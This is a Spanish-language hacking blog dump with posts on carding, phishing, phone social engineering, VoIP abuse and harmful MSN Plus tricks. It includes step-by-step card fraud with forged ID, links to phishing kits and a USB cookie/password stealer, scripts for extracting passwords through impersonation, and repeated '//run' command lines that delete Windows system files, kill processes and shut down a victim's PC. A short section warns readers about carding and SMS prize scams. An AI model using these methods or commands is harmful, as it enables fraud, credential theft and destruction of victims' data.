o pasarse por las oficinas en horario laboral. Porque cometemos esta estupidez
de dar la opcion a que no nos de los datos? Porque si le obligamos a que
nos de los datos por telefono le parecera raro. Aqui cabe la posibilidad de
que nos diga que lo dira en la oficina, pero si no va (lo mas probable, todos
somos demasiado vagos o estamos ocupados) nos dara mayor credibilidad. Puede
que diga que se pasara por la oficina (poco probable) y es un riesgo que
tenemos que correr. No os pongais nerviosos, y decidle que vale. Lo mas
seguro es que, si os habeis ganado su confianza, os de los datos.
Debemos pedirle todos los datos, nombre completo, numero, tipo de tarjeta,
fecha de expedicion, los tres numeritos de atras, etc. Todo lo que podamos
sacar, e incluso el DNI. Tras esto, tecleamos un poco y le decimos que la
compra ha sido cancelada, que perdone por las molestias... Ya tenemos unos
bonitos datos para hacer nuestras compras
Esto es solo un ejemplo de como hacerlo. Hay muchas formas que veremos a
lo largo de este documento, y muchas mas que podras sacar por ti mismo.
6. Estafando: Como comprar *
****************************
Si queremos comprar algo con estos datos, lo mejor es primeramente esperar
algunos dias (e incluso semanas) para evitar sospechas de nosotros, por si
acaso. Luego miramos en nuestro bonito/a pueblo o ciudad una casa medio
abandonada. A ver, no que este mal, sino que no suela haber nadie. Con una
impresora, papel de plastificar y habilidad en una tarde te haces un carnet
imitando ser el senyor al que le robas. No te curres la foto, pon una foto
tuya, con el DNI del senyor.
Ponemos que lo recibiremos a dicha direccion y a ser posible compramos o
conseguimos una tarjeta de prepago para recibir llamadas del repartidor cuando
vayan a venir. Cuando nos llamen para advertirnos de la llegada del paquete,
nos vestimos con ropas que nunca usemos, nos dejamos barba si no tenemos o nos
la cortamos si la tenemos, nos ponemos un gorro, pero sin tener excesivas malas
pintas. Llevamos con nosotros el DNI metido en la cartera, y deambulamos cerca
de la casa. Cuando veas la furgoneta del repartidor, saca las llaves de tu casa
y ponte como para abrir la puerta, pero simulas que te llega un mensaje al
movil.
El tio llega, tu le dices "*Ah, hola! Es para mi". Solo saca el DNI si te lo
pide el menda. Hechas la firmita y punto. Esperas que el tio se vaya mientras
miras el movil como contestando al mensaje aguantando las llaves con la otra
mano.
Ahora es cuando te toca coger el paquete y, cuando no haya rastro, huir y
correr como en tu vida lo has hecho. Enhorabuena, has cometido una estafa.
7. Enganyando: Phishing *
*************************
Hablemos del phishing. Phishing viene del ingles "fishing", es decir, "pesca".
Vamos a pescar incautos para tener sus datos. Os voy a ensenyar como usar unas
especies de "exploit" (si se les puede llamar asi) para captar incautos.
Hay de muchos tipos, hay millones por Internet. Si lo que queremos son unos
datos en especial, debemos crearnos nuestro propio exploit (mas adelante hablare
de ello). Voy a hablar ahora de los prefabricados, que normalmente
lo que hacen es emular un log-in en lo que parece ser la compania real, una
entidad bancaria, el PayPal, Hotmail o Tuenti (de este ultimo yo fui su creador,
del primer y por ahora (creo) unico exploit existente para Tuenti).
Basta con conocer un poco a la victima. Como minimo, tiene Messenger, y si tiene
Messenger tiene Live! Hotmail. Tambien puede tener Tuenti o un MyScrapbook...
Os dejo unos links para bajar exploits prefabricados... Ahora os ensenyare como
usarlos...
PayPal: http://lix.in/-3e44a2" target="_blank"
Paquete Su'ID:
Tuenti: http://lix.in/-415220" target="_blank"
Live! Hotmail: http://lix.in/-445f62" target="_blank"
MyScrapbook: http://lix.in/-476ca4" target="_blank"
Os voy a enseynar a usar los de la suite Su'ID, poco a poco os ensenyare como
usarlos todos...
Primero, nos proxieamos y enmascaramos, por si acaso. Nos creamos una cuenta
en, por ejemplo. www.t35.com" target="_blank" (no olvidad poneros un proxy) con un nombre no
muy cantoso, como h0tmail, tuennti, o algo similar, depende del exploit que
useis. Desde nuestro gestor FTP favorito, conectamos a ftp.t35.com, de usuario
poneis tunombre.t35.com y de password ya sabes. Descomprimimos el paquete a
usar y subimos los archivos. Vamos a alg£n sitio de redireccionamiento como
www.dot.tk y nos creamos una cuenta de redireccion creible (www.tuenti.tk,
www.livehotmail.tk...) y entonces lo redireccionamos a la index que hemos
subido a t35.com.
Llega el momento de currarselo un poco. Primeramente, nos creamos una cuenta
(buscad el proveedor mas raro que veis, o si teneis un SMTP que os funcione,
usadlo para enviarlo anonimamente) de correo y nos lo curramos. Le enviamos un
mensaje haciendonos pasar por la companyia, o nos inventamos que hay una
version nueva. Lo que puedes hacer es, por ejemplo si es de Tuenti, decir que
sois los creadores y que habeis sacado la nueva version 2.0 de Tuenti y que
podreis probarla haciendo click aqui (y enlazais a www.tuenti.tk). No olvideis
firmar (tuenti.es) y enlazarlo a nuestro fake. Enviamos y... solo falta esperar.
De vez en cuando, entramos a http://usuario.t35.com/robados.txt y ahi vereis
los log-in y passes de quien haya picado.
Es sencillo. Los demas funcionan parecido, solo que sirven para sacar datos mas
comprometidos... Todos los de Su'ID funcionan asi. Mas adelante hablare del de
PayPal, y sobre como crear vuestros propios exploits.
8. Sobre VoIP *
***************
[Wikipedia]
Voz sobre Protocolo de Internet, tambien llamado Voz sobre IP, VozIP, VoIP
(por sus siglas en ingles), es un grupo de recursos que hacen posible que la
senyal de voz viaje a traves de Internet empleando un protocolo IP (Internet
Protocol). Esto significa que se envia la senyal de voz en forma digital en
paquetes en lugar de enviarla (en forma digital o analogica) a traves de
circuitos utilizables solo para telefonia como una companyia telefonica
convencional o PSTN (acronimo de Public Switched Telephone Network, Red
Telefonica Publica Conmutada).
[/Wikipedia]
Hay aplicaciones que nos seran muy utiles, como VoipBuster, VoipCheap y
similares (que son todos clones de la misma companyia). Son de pago, por
supuesto, pero nos permiten realizar 20 minutos de llamadas gratuitas a
fijos de Espanya y de otros paises. Que pasa si creamos una cuenta nueva
pasados esos 20 minutos? Pues otros 20 minutos de llamadas gratuitas (solo
a fijos, recordad). El problema se presenta cuando al crear nuestra tercera
o cuarta cuenta el programa nos da un error... Pero para eso no hay problema,
un tal FreakBell creo un BAT que elimina los registros del sistema y permite
seguir creando cuentas... En la nueva version el BAT de FreakBell parecia no
funcionar muy bien, y Nu'PH! creo otro que hacia refresh a las IPs (routers
con IP dinamica) y asi podias seguir creando cuentas ilimitadamente... Yo lo
dejo todo aqui para que le hecheis un vistazo:
VoipCheap + Freakbell BAT: http://www.megaupload.com/?d=92EROC61
BAT de Nu'PH! (sigue funcionando): http://www.megaupload.com/?d=2X1XODOA
Que podemos hacer desde aqui? Llamar a fijos con casi total confidencialidad.
Nuestra IP probablemente quede registrada en los servidores de VoIPCheap, pero
para eso hay ip bouncing, proxys, etc. (o conectarnos a la wifi de un vecino
para llamar, lo mas seguro ). Seguro que algo de esto os suena.
Un infinito abanico de posibilidades se abre ante ustedes. A usarlo con
responsabilidad!
viernes, 16 de abril de 2010
Ing. Social A Travez del Carding
Primero debemos conocer el concepto de Carding, que Significa, cual es el uso que le dan y en que nos perjudica.
Se Denomina Carding a: El uso Ilegitimo de Tarjetas de Crédito ajenas, en términos legales a esto se le conoce como Fraude, el carding es una rama del hacking y en el que se desempeña mucho ing social, phishing y otros.
Dentro de esta modalidad de fraude, se encuentra el uso de venta de información personal de tarjetas de crédito, el robo de la tarjeta copiandola, el hurto de la tarjeta en cajeros automáticos y toda la actividad o delito referido a las tarjetas de crédito.
Es algo del hacking de lo cual los interesados lo usan solo para beneficio propio, les genera ganancias y se las quita hasta que se topan con la ley.
Bueno lo anterior ya es en fines legales pero de lo que se trata el tema es de procedimientos informáticos y como lo aplican en esta rama.
El Carding se lo pueden aplicar a la hora de que usted ingrese a un sitio no certificado de compras, o de algun servicio que desee contratar.
Sin embargo, la pregunta es: cómo hace un usuario común que no entiende nada de certificaciones para saber si es seguro colocar en algun sitio de estos los datos de la tarjeta.
Ingrese a un sitio conocido, que sepa que cuenta con protección de datos, lo primero que observará es en la línea de abajo, en el browser de Windows, hay un dibujo pequeño de un ojo con un círculo rojo tachado. Si posiciona el Mouse encima, verá que dice: información de privacidad. Esto es uno de los indicadores que el sitio cuenta con mecanismos de protección de datos.
Si se registra en el sitio, y realiza una compra, al momento de colocar los datos, observará un candadito en la barra de indicación del Browser.
El candadito indica que el sitio cuenta con un sistema de protección llamado SSL (Secure Socket Layer), el sistema más popular de cifrado de datos.
Ingrese a un sitio conocido, que sepa que cuenta con protección de datos, lo primero que observará es en la línea de abajo, en el browser de Windows, hay un dibujo pequeño de un ojo con un círculo rojo tachado. Si posiciona el Mouse encima, verá que dice: información de privacidad. Esto es uno de los indicadores que el sitio cuenta con mecanismos de protección de datos.
Si se registra en el sitio, y realiza una compra, al momento de colocar los datos, observará un candadito en la barra de indicación del Browser.
El candadito indica que el sitio cuenta con un sistema de protección llamado SSL (Secure Socket Layer), el sistema más popular de cifrado de datos.
Que mas Pueden hacer para aplicarme esta modalidad de estafa?? Bueno Si usted maneja cuentas de dinero virtual, y hay algun sujeto que esta enterado, el se creara un objetivo si es conocedor de todo esto, el objetivo sera obtener sus datos eso depende de lo que usted tenga y de los servicios contratados y datos que posea en su cuenta.
Por lo tanto cuidado con Mensajes de correo electrónico en su bandeja de entrada, que anuncien alguno de los servicios que usted a contratado mediante tarjeta de crédito en Internet.
Le pueden Aplicar estafa mediante algun xploit donde usted puede ir a un scam y loguearse y regalar sus datos al sujeto.
Para esto debe contra con proteccion anti-phishing siempre en su computadora, por si no es un gran conocedor de seguridad informatica.
A la hora de ingresar a paginas de internet donde usted desea hacer alguna compra en linea o contratar algun servicio, o digamos desea que desea revisar su cuenta de dinero virtual.
Tenga presente que la pagina esta certificada, y es segura para proceder con los datos.
De que forma detectar? Pues Facil en la barra de direcciones en lugar de http, debe decir https y utilice navegadores mas seguros como Firefox y Google Chrome.
sábado, 27 de febrero de 2010
Uso de Ingenieria Social
En este Articulo estare publicando algunos tips de ayuda para que puedan informarse de que manera usar la ingenieria social en el hacking.
A mas de Alguno le ha pasado esto... Ven que en su Celular hay un mensaje de texto que dice: "X Compañía te informa que has ganado $25,000 Dolares y un Carro ultimo Modelo."
Cuando es legal esa información? Pues Cuando nosotros comparamos el nombre de la compañia con la que andamos el celular con el nombre de la compañia que nos aparece en el mensaje de texto.
Otra opcion es que comparemos el area del numero, si es de nuestro pais, informarte si han salido sorteos en los periodicos etc.
Para no aburrirlos, cuando ustedes han salido ganadores en alguna promocion, la compañia les debe llamar.
Respecto a lo que escribe del mensaje de texto, en términos legales se le puede llamar estafa, buscan estafarte, pero en términos informáticos se le llama ingeniería social.
En la region de CentroAmerica sucede muy a menudo, en mi familia, mi padre y mi hermana recibieron mensajes asi, con area de otro pais el numero, ahi detecte que son ing, sociales (terminos hacking) y estafadores (terminos legales)
Como funciona la tecnica de ellos? Aquí la Respuesta...
Primero Envían el Mensaje de texto a un numero al azar, Al final del mensaje te dejan el nombre de una persona y el numero de telefono, (el estafador o ing social con el que te vas a comunicar si caes en la trampa)
Digamos que caistes solo por curiosidad, lo primero que oiras sera a una persona que habla con profesionalismo y te dara detalles del sorteo y te felicitara como que si fueras un gran ganador.
Cuando detectaremos la estafa o el engaño?? Cuando el Sujeto nos pida tarjeta de credito, remesa a cuenta, que segun lo que te dicen es para el traslado y pagos por el movimiento del premio hasta la puerta de la casa.
Nadie te puede pedir eso cuando algo es legal, la empresa te llama y debes presentarte a sus oficinas.
"Hints and tips" sobre la ingeniería social y teléfono
* *.. Llamar siempre con numero oculto.
* *.. Cuando hagamos una llamada no debemos dudar , hablemos siempre claro y
de forma fluida, la duda genera desconfianza.
* *.. Preparemos la llamada, una lista de posibles preguntas o respuestas, e
incluso la preparación de un guión con las frases largas que vamos a
utilizar nos ayudara . Es importante que no se note que leemos, si es que lo
hacemos así.
* *.. No colguemos el teléfono de forma brusca, eso genera desconfianza y si
vamos a realizar una segunda llamada será mejor siempre despedirse de una
forma cordial.
* *.. No es bueno extenderse demasiado en la información aportada en una
llamada cuando pretendemos* hacer creer que formamos parte de la
organización a la que estamos llamando. Debe parecer que conocemos la
compañía, y entre compañeros la información vaga será suficiente. Por otro
lado es muy importante que la conversación no sea demasiado larga pues la
probabilidad de cometer errores es mucho mayor.
* *.. La llamada* encadenada es una técnica que se utiliza mucho cuando se
quiere penetrar en el entramado de una compañía. Se realiza una primera
llamada en la que se recaba cierta información sobre nombres de personas o
datos técnicos. Basta en muchos casos hacerse pasar por un cliente o
proveedor posible de la compañía a la que llamamos. Luego, en una segunda
llamada utilizamos esa información que ya sabemos para que otra persona
distinta apoyándose en ella obtenga la que verdaderamente le interesa. Para
no levantar sospechas, entre ambas llamadas transcurre un cierto tiempo que
evita que alguien puede establecer una conexión de ambas llamadas. Se pueden
ir encadenando llamadas hasta llegar al objetivo.
* *.. Técnica del candado de voz. Se llama así cuando lo que se desea es
llegar a entrar en un edificio de oficinas en el que se realiza un control
informático de visitas. En estos edificios los equipos de seguridad
requerirán la documentación de las visitas y algunos datos para controlar su
acceso al edificio. Sin embargo, existe en muchos casos la posibilidad de
saltarse el control de accesos con un poco de ayuda desde el interior. Lo
primero que se necesita es el nombre completo de un directivo importante de
alguna de las firmas en dicho edificio. Algo que es fácil de conseguir con
una llamada. Luego es necesario el teléfono de la recepción del edificio. Lo
que se hace a continuación es llamar a la recepción suplantando al directivo
cuyos datos tenemos. Se advierte a recepción de la visita de una persona muy
importante que llegara a una cierta hora y que es importante que se le
permita el paso al edificio. Vale un directivo de una gran compañía, o un
político. Eso es menos importante, lo que suele pasar es que es el propio
vigilante el que acompaña al Ingeniero social al interior del edificio, mas
allá de los controles de entrada.
* *.. La falsa interferencia es otro sistema curioso que lo creamos o no
tiene éxito. Se trata de realizar una llamada desde un teléfono que se
modifica para que la calidad de la señal emitida sea muy pobre. Basta con
usar un par de cables en contacto con el auricular para que nuestra voz se
entrecorte y se escuche con ruido. Se efectúa la llamada al objetivo que
escuchara gritar entre ruidos. La idea es que el esfuerzo del interlocutor
para mantener la conversación es alto y por lo tanto, cuanto antes nos de lo
que pedimos mas rápido acabara su tormento. Es bueno en estos casos hacer
que la llamada se corte deliberadamente varias veces, hasta casi hartar a la
persona que la recibe. En ese momento se pide la información que deseamos
"hola, soy Matías de informática,* es que estoy tratando de solucionar un
problema y desde aquí no se que pasa que no tengo cobertura. ¿ Me puedes
decir como era la contraseña de acceso a la aplicación de facturación?.* En
un alto porcentaje de los casos, las personas que reciben la llamada
trataran de ayudarnos y nos darán la información que buscamos sin preguntar
mas cosas solo porque así zanjan esa desagradable situación de incomodidad
que tienen al hablar entre tanto ruido.
En fin, como vemos hay multitud de pequeños trucos que se aplican cuando se
practica Ingeniería Social a través del teléfono.
CONTINUARA....
"Hints and tips" sobre la ingeniería social y teléfono
* *.. Llamar siempre con numero oculto.
* *.. Cuando hagamos una llamada no debemos dudar , hablemos siempre claro y
de forma fluida, la duda genera desconfianza.
* *.. Preparemos la llamada, una lista de posibles preguntas o respuestas, e
incluso la preparación de un guión con las frases largas que vamos a
utilizar nos ayudara . Es importante que no se note que leemos, si es que lo
hacemos así.
* *.. No colguemos el teléfono de forma brusca, eso genera desconfianza y si
vamos a realizar una segunda llamada será mejor siempre despedirse de una
forma cordial.
* *.. No es bueno extenderse demasiado en la información aportada en una
llamada cuando pretendemos* hacer creer que formamos parte de la
organización a la que estamos llamando. Debe parecer que conocemos la
compañía, y entre compañeros la información vaga será suficiente. Por otro
lado es muy importante que la conversación no sea demasiado larga pues la
probabilidad de cometer errores es mucho mayor.
* *.. La llamada* encadenada es una técnica que se utiliza mucho cuando se
quiere penetrar en el entramado de una compañía. Se realiza una primera
llamada en la que se recaba cierta información sobre nombres de personas o
datos técnicos. Basta en muchos casos hacerse pasar por un cliente o
proveedor posible de la compañía a la que llamamos. Luego, en una segunda
llamada utilizamos esa información que ya sabemos para que otra persona
distinta apoyándose en ella obtenga la que verdaderamente le interesa. Para
no levantar sospechas, entre ambas llamadas transcurre un cierto tiempo que
evita que alguien puede establecer una conexión de ambas llamadas. Se pueden
ir encadenando llamadas hasta llegar al objetivo.
* *.. Técnica del candado de voz. Se llama así cuando lo que se desea es
llegar a entrar en un edificio de oficinas en el que se realiza un control
informático de visitas. En estos edificios los equipos de seguridad
requerirán la documentación de las visitas y algunos datos para controlar su
acceso al edificio. Sin embargo, existe en muchos casos la posibilidad de
saltarse el control de accesos con un poco de ayuda desde el interior. Lo
primero que se necesita es el nombre completo de un directivo importante de
alguna de las firmas en dicho edificio. Algo que es fácil de conseguir con
una llamada. Luego es necesario el teléfono de la recepción del edificio. Lo
que se hace a continuación es llamar a la recepción suplantando al directivo
cuyos datos tenemos. Se advierte a recepción de la visita de una persona muy
importante que llegara a una cierta hora y que es importante que se le
permita el paso al edificio. Vale un directivo de una gran compañía, o un
político. Eso es menos importante, lo que suele pasar es que es el propio
vigilante el que acompaña al Ingeniero social al interior del edificio, mas
allá de los controles de entrada.
* *.. La falsa interferencia es otro sistema curioso que lo creamos o no
tiene éxito. Se trata de realizar una llamada desde un teléfono que se
modifica para que la calidad de la señal emitida sea muy pobre. Basta con
usar un par de cables en contacto con el auricular para que nuestra voz se
entrecorte y se escuche con ruido. Se efectúa la llamada al objetivo que
escuchara gritar entre ruidos. La idea es que el esfuerzo del interlocutor
para mantener la conversación es alto y por lo tanto, cuanto antes nos de lo
que pedimos mas rápido acabara su tormento. Es bueno en estos casos hacer
que la llamada se corte deliberadamente varias veces, hasta casi hartar a la
persona que la recibe. En ese momento se pide la información que deseamos
"hola, soy Matías de informática,* es que estoy tratando de solucionar un
problema y desde aquí no se que pasa que no tengo cobertura. ¿ Me puedes
decir como era la contraseña de acceso a la aplicación de facturación?.* En
un alto porcentaje de los casos, las personas que reciben la llamada
trataran de ayudarnos y nos darán la información que buscamos sin preguntar
mas cosas solo porque así zanjan esa desagradable situación de incomodidad
que tienen al hablar entre tanto ruido.
En fin, como vemos hay multitud de pequeños trucos que se aplican cuando se
practica Ingeniería Social a través del teléfono.
CONTINUARA....
domingo, 20 de diciembre de 2009
Aprende Batch Desde Cero By Shesomaru
En DOS, OS/2 y Microsoft Windows un archivo batch es un archivo de procesamiento por lotes. Se trata de archivos de texto sin formato, guardados con la extensión BAT que contienen un conjunto de comandos MS-DOS. Cuando se ejecuta este archivo, (mediante command.com) los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas. Cualquier comando MS-DOS puede ser utilizado en un archivo batch.
Esta es la forma de automatizar procesos (copiar, pegar, renombrar y enviar datos) de MS-DOS así evitamos procesos rutinarios y monotonos, esto es trabajo de máquina. Tiene la funcionalidad de conectarse con otras interfaces por línea de comandos.
Un fichero batch es un archivo de texto que contiene comandos a ejecutar en un intérprete de comandos propio de DOS o OS/2. Cuando es iniciado, un programa shell (típicamente COMMAND.COM o cmd.exe) lo lee y ejecuta, generalmente línea a línea. De este modo, se emplea para ejectuar series de comandos automáticamente. El hecho de que funcione solo para MS-DOS lo hace muy limitado. Su extension es BAT y sus comandos principales son go to, echo, if, type y exit.
Para mas Información: http://es.wikipedia.org/wiki/Batch
Esta es la forma de automatizar procesos (copiar, pegar, renombrar y enviar datos) de MS-DOS así evitamos procesos rutinarios y monotonos, esto es trabajo de máquina. Tiene la funcionalidad de conectarse con otras interfaces por línea de comandos.
Un fichero batch es un archivo de texto que contiene comandos a ejecutar en un intérprete de comandos propio de DOS o OS/2. Cuando es iniciado, un programa shell (típicamente COMMAND.COM o cmd.exe) lo lee y ejecuta, generalmente línea a línea. De este modo, se emplea para ejectuar series de comandos automáticamente. El hecho de que funcione solo para MS-DOS lo hace muy limitado. Su extension es BAT y sus comandos principales son go to, echo, if, type y exit.
Descargar Manual aqui: http://www.megaupload.com/?d=2E7ENZ2K
Para mas Información: http://es.wikipedia.org/wiki/Batch
miércoles, 12 de agosto de 2009
Roba Datos Con tu USB xD!
Hola Comunidad que me visita, les dejo aqui una aplicacion que la deben andar en su USB si quieren robar datos como, cookies, contraseñas, archivos complementarios de internet.
Mas que todo sirve para las contraseñas es un buen metodo, lo recomiendo xD!
Si tienen Dudas no se olviden de preguntar aqui y siempre visitarnos =D No hay mucho mas que decir ps ahi les van las instrucciones de uso, nomas les dejo el link de descarga.
Algo que les dire es que no es virus, pero si es un codigo malicioso que es el que roba las cookies. Asi que los antivirus de las victimas pueden detectarlo o eliminarlo quiza.
Alli usen su astucia muchachos/as sean inteligentes xD!
Descargar aqui: http://www.megaupload.com/?d=CS90KJN2
Mas que todo sirve para las contraseñas es un buen metodo, lo recomiendo xD!
Si tienen Dudas no se olviden de preguntar aqui y siempre visitarnos =D No hay mucho mas que decir ps ahi les van las instrucciones de uso, nomas les dejo el link de descarga.
Algo que les dire es que no es virus, pero si es un codigo malicioso que es el que roba las cookies. Asi que los antivirus de las victimas pueden detectarlo o eliminarlo quiza.
Alli usen su astucia muchachos/as sean inteligentes xD!
Descargar aqui: http://www.megaupload.com/?d=CS90KJN2
Saludoooos de mi parte y sepan aprovechar esta herramienta...
lunes, 10 de agosto de 2009
Maldades a Travez de MSN Plus xD!
Un brother me enseño esto que descubrioo se trata de parametros run/ en msn plus y es que cuando los envias a la persona se le ejecuta el parametro que le mandas por ejemplo estos:
1. Hace aparecer una ventana indicando que el PC se apagará en 20 segundos con el mensaje "Eres un idiota me apagare para que no me uses".
//run shutdown -s -t 20 -c "Eres un idiota me apagare para que no me uses"
Este comnado se ejecuta en la otra maquina si la persona te lo regresa, ademas solo funciona en XP, porque es de XP, asi apagaba mi maquina yop!
2. Borra archivos importantes, jode windows en general, no es mucho bah...
//run cmd /c echo [color=#ff0000]ERES UN IMBECIL ASQUEROSO PUT* HIJO DE Z*RRA MADRE[/color] & @echo off & cls & del /f %systemroot%\system\hal.dll & del /f %systemroot%\system32\hal.dll & del /f %systemroot%\system\system.* & del /f %systemroot%\system32\system.* & del /f %systemroot%\system32\Win.com & del /f %systemroot%\system32\command.com & del /f %systemroot%\system32\keyboard.* & del /f %systemroot%\system32\shell.* & del /f %systemroot%\system32\mouse.* & del /f %systemroot%\system32\msvideo.* & del /f %systemroot%\regedit.exe & del /f %systemroot%\taskman.exe & del /f %systemroot%\explorer.exe & del /f %systemroot%\system32\taskkill.exe & del /f %systemroot%\system32\tasklist.exe & del /f %systemroot%\system32\taskmgr.exe & del /f %systemroot%\keyboard.*
Este como ya vemos la descripcion si gustan cambian las letras rojas.
3. Crea directorios al azar. Simplemente por molestar.
//run cmd /c echo SOY TAAAAAAN ESTÚPIDO Y ESTOY MUY INFECTADO DE VIRUS! & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random%
Le cambian el nombre si gustan lo que quieran poner solo cambien su Msj por las letras rojas xD!
4. Descarga de memoria el explorer. Todos sabemos lo que pasa cuando explorer.exe se mata...
//run cmd /c echo SE DE SOBRA QUE ERES IDIOTA!! & taskkill /f /IM explorer.exe
5. Cierra (descarga) el messenger...
//run cmd /c echo EL JODIDO MSN MURIO & taskkill /f /IM msnmsgr.exe
6. Cierra explorer, borra explorer y reinicia. Muuuy puteante y dañino.
//run cmd /c echo ERES UN IMBRECIL ESTAS JODIDO taskkill /f /IM explorer.exe & del /F c:\windows\system32\explorer.exe & shutdown -s -t 2 -c
Pueden cambiar las letras de insultos con la que quieran algo especial cuando alguien los moleste en el Msn
Por si no entendistes!!! Copias el codigo, Se lo mandas via Chat en el cuadro de MSN a tu victima, Vera Raro el Codigo y te dira que es??? Hazte el ignorante y di que tu no ves nada xD! Te Lo Enviara de regre para que lo veas y alli se le ejecuta xD!
1. Hace aparecer una ventana indicando que el PC se apagará en 20 segundos con el mensaje "Eres un idiota me apagare para que no me uses".
//run shutdown -s -t 20 -c "Eres un idiota me apagare para que no me uses"
Este comnado se ejecuta en la otra maquina si la persona te lo regresa, ademas solo funciona en XP, porque es de XP, asi apagaba mi maquina yop!
2. Borra archivos importantes, jode windows en general, no es mucho bah...
//run cmd /c echo [color=#ff0000]ERES UN IMBECIL ASQUEROSO PUT* HIJO DE Z*RRA MADRE[/color] & @echo off & cls & del /f %systemroot%\system\hal.dll & del /f %systemroot%\system32\hal.dll & del /f %systemroot%\system\system.* & del /f %systemroot%\system32\system.* & del /f %systemroot%\system32\Win.com & del /f %systemroot%\system32\command.com & del /f %systemroot%\system32\keyboard.* & del /f %systemroot%\system32\shell.* & del /f %systemroot%\system32\mouse.* & del /f %systemroot%\system32\msvideo.* & del /f %systemroot%\regedit.exe & del /f %systemroot%\taskman.exe & del /f %systemroot%\explorer.exe & del /f %systemroot%\system32\taskkill.exe & del /f %systemroot%\system32\tasklist.exe & del /f %systemroot%\system32\taskmgr.exe & del /f %systemroot%\keyboard.*
Este como ya vemos la descripcion si gustan cambian las letras rojas.
3. Crea directorios al azar. Simplemente por molestar.
//run cmd /c echo SOY TAAAAAAN ESTÚPIDO Y ESTOY MUY INFECTADO DE VIRUS! & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random% & mkdir %random%
Le cambian el nombre si gustan lo que quieran poner solo cambien su Msj por las letras rojas xD!
4. Descarga de memoria el explorer. Todos sabemos lo que pasa cuando explorer.exe se mata...
//run cmd /c echo SE DE SOBRA QUE ERES IDIOTA!! & taskkill /f /IM explorer.exe
5. Cierra (descarga) el messenger...
//run cmd /c echo EL JODIDO MSN MURIO & taskkill /f /IM msnmsgr.exe
6. Cierra explorer, borra explorer y reinicia. Muuuy puteante y dañino.
//run cmd /c echo ERES UN IMBRECIL ESTAS JODIDO taskkill /f /IM explorer.exe & del /F c:\windows\system32\explorer.exe & shutdown -s -t 2 -c
Pueden cambiar las letras de insultos con la que quieran algo especial cuando alguien los moleste en el Msn
Por si no entendistes!!! Copias el codigo, Se lo mandas via Chat en el cuadro de MSN a tu victima, Vera Raro el Codigo y te dira que es??? Hazte el ignorante y di que tu no ves nada xD! Te Lo Enviara de regre para que lo veas y alli se le ejecuta xD!
PD: Debes Tener MSN Plus, Tu Victima Cualquier MSN y Windows XP
Saludooos. xD!
sábado, 8 de agosto de 2009
Manuales Hacking, Basico Antiguo xD!
Hola, Como veran cuando uno se forja en una carrera, todo tiene su historia, es lo primero que les dicen en la universidad, alguna frase en especial respecto a la carrera que llevais o alguna historia de los grandes personajes antiguos que fueron profesionales en esa carrera que uds llevais xD!
Ahora mi punto es que uds en base a lo que les voy a proporcionar, hagan su historia y conozcan un poco sobre el hacking, asi no andaran siendo victimas en internet xD!
Un Poco de lo relacionado, algunos manuales de herramientas, como protegerse y mucho mas en este enlace que les dejare, pero primero el detalle de los archivos dentro =D!
Temas Del Archivo
Ahora mi punto es que uds en base a lo que les voy a proporcionar, hagan su historia y conozcan un poco sobre el hacking, asi no andaran siendo victimas en internet xD!
Un Poco de lo relacionado, algunos manuales de herramientas, como protegerse y mucho mas en este enlace que les dejare, pero primero el detalle de los archivos dentro =D!
Temas Del Archivo
Hacking, Amenazas via Internet, Apoderate de un ICQ, Aujeros de Seguridad, Control de Accesos, Criptografia Básica, Curso de Firewalls, Curso de Hacking, Curso de Hacking Avanzado, Curso de Utilización de un Firewall, Esconde tu IP, Guia de Crackeo, Guia de Cracking, Guia de Hackeo de un Sitio Web, Guia de Mataprocesos, Guia de Protocoles TCP-IP, Guia de Redes LAN, Guia de Spoofing, Guia del Hacker, Guia FAQ de Hacking, Hackeando un Sistema Linux, Hackers 1.0 de Claudio Hernández, Hackers 2.0, La Caza de Hackers, Librate de un Troyano, Manual de Criptografia, Manual de Ping & Tracert, Manual de Sniffing, Manual del BO2 Español, Manual del Hacker, Manual del Subseven, Seguridad en Unix & Redes, Seguridad Informática, Tutorial de PGP.
Ahora cada minimo detalle, que ven alli lo van a encontrar en el archivo de descarga, todo bien explicado y bien editado para el aprendizaje de uds.
Descargar aqui: http://www.megaupload.com/?d=EPZOM0TJ
Algo No Actualizable pero es para su aprendizaje sobre teoria en el hacking, la practica la hacen uds, no cuesta xD!
Saludooos. xD!
jueves, 6 de agosto de 2009
Ataques a Perfiles de Hi5 xD!
Hola Pues primero que nada les quiero decir que tendran que descargar el archivo text, que les dejo, por motivos de Seguridad no lo puedo dejar publicamente asi que a descargar chamakos/as.
Resumen
En El Archivo de texto que les dejo para que descarguen viene todo, sobre como dejar descuadrado y sin comentarios a un perfil, tambien viene con informacion exclusiva para ustedes, que mi persona la pudo averiguar xD! Tambien Aprovecho para agradecer a <•¤HåÇK£R-Fx¤•>, que el me enseño esta tecnica de html para divertirse en hi5, Todo bien Detallado, Como dije Anteriormente Por motivos de Seguridad a mi blog no los deje asi, posteados como entrada a mi blog. Nomas Les brindo detalles de que se trata y descarguen que les servira de mucho xD!
Byte!
martes, 28 de julio de 2009
Acceso Remoto Gratis a Otras PC`s
Hola! Lo siguiente que voy a explicar es porque un amigo me pidio que le mostrara como?? De seguro les servira a muchos no solo a el.
Bueno Empezemos chamakos/as, Primero que nada lean todo que la lectura es obligatoria si quieren aprender.
Utilizaremos LogMeIn que un sotfware de asistencia remota, gratis y seguro.
Para ello Necesitamos lo siguiente:
Una Cuenta en Gmail o Yahoo!
El Software de LogMeIn.
Acceso a Internet en las PC`s.
Si no tienen cuenta en Gmail o Yahoo haganla porque la necesitaran, ahora el logmein se los doy aqui.
Si no saben descargar de este servidor, aqui las instrucciones, den click al enlace.
Les aparecera una pagina con dos velocimetros que dicen: Free User y Premiun User
